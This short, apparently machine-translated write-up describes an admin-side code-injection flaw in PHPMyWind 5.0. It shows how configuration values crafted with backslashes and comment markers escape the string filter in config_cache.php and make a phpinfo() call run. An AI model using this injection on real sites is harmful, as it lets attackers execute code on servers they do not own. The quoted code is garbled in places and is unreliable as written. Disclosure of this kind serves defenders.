Phpmywind 5.0 background GetShell vulnerability Exploitation

Phpmywind 5.0 background GetShell vulnerability Exploitation

The following is the filtering code for admin/web_congif.php.

// Force remove '// force remove the last bit/$ vartmp = str_replace ("'", '', $ row ['varvalue']); if (substr ($ vartmp,-1) = '\') {$ vartmp = substr ($ vartmp, 1,-1 );}

Only the backslash of the last digit is filtered. You only need to add two backslashes ·····

First, modify the website configuration information.

 

 

Config_cache.php will become like this

$ Pai_webname = 'website \';

 
$ Pai_weburl = ';/* http: // 127.0.0.1 ';
 
$ Pai_webpath = '*/phpinfo ();#';
 
$ Pai_author = '';

Php code will be executed.